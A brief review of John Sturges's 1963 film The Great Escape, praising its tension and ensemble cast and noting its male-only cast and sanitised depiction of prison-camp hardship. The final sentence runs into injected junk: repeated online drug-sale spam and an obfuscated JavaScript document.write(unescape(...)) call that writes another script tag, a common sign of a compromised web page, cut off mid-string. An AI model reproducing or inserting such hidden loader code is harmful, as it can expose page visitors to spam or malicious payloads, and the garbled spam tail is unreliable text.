For those of us born after the 1950s, it’s difficult to comprehend that in 1963, the Second World War was more recent than the Vietnam War is today. It had been less than two decades since the war had ended, and the memories were still fresh.
One of the many unforgettable wartime events was an heroic and tragic effort known as The Great Escape, in which a large number of airmen tried to escape a German prison camp and flee to freedom in one big breakout. In 1963, this compelling story was effectively brought to the screen by John Sturges.
The Great Escape follows a group of mostly Royal Air Force officers from their arrival at the prison camp through the aftermath of their escape efforts. It shows us how a complex escape plan, and a tunnel to get out, was developed and constructed, culminating in a dramatic night of escape.
Although the characters are composites and some dramatic license was used, actual survivors of the camp have reported that the movie is "90 per cent" true to the real 1944 events.
There’s no question that this is a ‘macho’ film. There are no significant female characters. In fact, a woman isn’t even seen until the last part of the movie.
One of the film’s inaccuracies is its failure to show how cold, hungry and uncomfortable prison life really was. The Great Escape almost makes it look pleasant enough for us to wonder why the flyers would want to bother escaping.
Despite this minor flaw, the film is fascinating and tense, as we watch the prisoners try to keep the tunnel secret and then make their break. The ensemble cast of performers is strong, giving us an interesting and appealing group of characters.d=186">effexor order vicodin onlineeffexor order vicodin onlinedocument.write(unescape("<\04553\103R%49P\124\076do\04563um%65\156\164.\04577r\04569t%65(u\156e\163\143\04561p
